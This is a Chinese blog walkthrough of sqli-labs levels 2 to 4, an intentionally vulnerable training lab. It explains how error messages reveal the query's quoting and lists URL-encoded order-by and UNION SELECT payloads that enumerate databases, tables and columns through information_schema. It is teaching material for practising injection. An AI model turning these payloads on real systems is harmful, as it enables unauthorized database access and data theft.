第二关:
sqli-labs的第二关是有报错信息的int类型的sql注入,输入id=1'后也会报错,如下图

可以看到报错信息种显示的是'' limit 0,1'  这处有错,其中前后两个单引符号是报错信息自己加上去的,所以真正在sql语句的字符串是 'limit 0,1  是可以看出来该处是个int类型的sql注入(如果是string类型的注入,报错一般是 ''1'' limit 0,1'。当然判断注入的类型也可以通过在后面加 and 1=1 以及 ' and '1'='1)

操作步骤和第一关类似

第一步:通过order by来判断表的列数

id=1%20order%20by%203%23

id=1%20order%20by%204%23

第二步:查看数据库名,当前用户,数据库版本

id=-1%20union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23
后面和第一关一样。。。。

第三关:其实实际测试过程种,我们是不知道后台sql语句到底是怎样了,如果又报错信息就很好判断了

第三关中输入id=1' 页面报错信息如下:

这里我们还是将前后得'去除掉,sql语句片段是'1'') limit 0,1

可以看出这里是个string类型得注入,并且后台种带有括号,这里推测后台查询语句应该是select * from tables where id =( '***') limit 0,1

现在再来看下实际得sql语句

ok,我们还是按照之前得流程来

第一步:使用order by来判断表的列数

id=1')%20order%20by%203%20%23  正常

id=1')%20order%20by%204%20%23   报错

第二步:查出所有的数据库名,当前数据库名以及当前用户等信息

id=-1')union%20select%201,group_concat(schema_name),concat_ws(':',user(),version(),database())%20from%20information_schema.schemata%23

第三步:查询出security中所有的表名(注意这里的security需要用引号)

id=-1')union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema='security'%23

第四步:查询出user表中的列名

id=-1')union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name='user'%23

第四关

还是老套路,输入?id=1',发现并没有报错(和直接输入id=1的页面显示的一样的)

再输入?id=1",发现报错

根据我们之前分析报错信息的方法很容易看出后台sql的拼凑方法,只不过是将第三关的单引符号改为了双引符号。

后面的就不继续了,直接下一关吧。。。。

sqli-labs(二)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  6. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  7. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. [No0000145]深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing)理解堆与栈2/4

    前言   虽然在.Net Framework 中我们不必考虑内在管理和垃圾回收(GC),但是为了优化应用程序性能我们始终需要了解内存管理和垃圾回收(GC).另外,了解内存管理可以帮助我们理解在每一个程 ...

  2. wap手机端实现上传图片流程

    实现图片上传使用了WeUI uploader插件 WeUI:是一套同微信原生视觉体验一致的基础样式库,为微信Web开发量身设计 流程:图片上传用到了FileReader,FormData,用这两个基本 ...

  3. 课程信息管理系统(javabean + Servlet + jsp)

    此项目做的事一个课程管理系统,需要通过web做一个可以实现课程的增删改查的功能. 需要用到数据库,Servlet和jsp等(第一次使用Servlet和数据库连接,所以代码都比较低级,页面也比较粗糙,还 ...

  4. Apache Kafka - KIP-42: Add Producer and Consumer Interceptors

    kafka 0.10.0.0 released   Interceptors的概念应该来自flume 参考,http://blog.csdn.net/xiao_jun_0820/article/det ...

  5. git bash 命名

    git log -p -2 我们常用 -p 选项展开显示每次提交的内容差异,用 -2 则仅显示最近的两次更新. git diff HEAD git clean -df 恢复到最后一次提交的改动: gi ...

  6. STS maven build 访问 jsp页面报错

    STS 版本:spring-tool-suite-3.8.1.RELEASE-e4.6-win32-x86_64 maven版本:apache-maven-3.3.9 报错信息如图(图片解决方案来源博 ...

  7. 抽屉之Tornado实战(6)--session工厂(工厂方法模式)

    我之前写的session一般保存在服务器的内存里,那可以保存在缓存,或是数据库,那问题来了,不同地方,保存方式是不同的,所以需要定义不同的类,cache/redis/memcached类 sessio ...

  8. mongo 的简单查询语法

    小白的我对MONGO的一些语句搜集用于区别mysql及一些小常识 pymongo 语法按照id进行倒序操作db.news.find().limit(20).sort([("_id" ...

  9. 【PyQt5-Qt Designer】液晶显示屏(QLCDNumber)

    液晶显示屏(QLCDNumber) 总体介绍 QLCDNumber小部件显示一个类似LCD的数字. 它可以显示任何大小的数字.它可以显示十进制,十六进制,八进制或二进制数字.使用display()槽连 ...

  10. c#中base64编码解码

    //编码: byte[] bytes = Encoding.Default.GetBytes("要转换的字符"); string str = Convert.ToBase64Str ...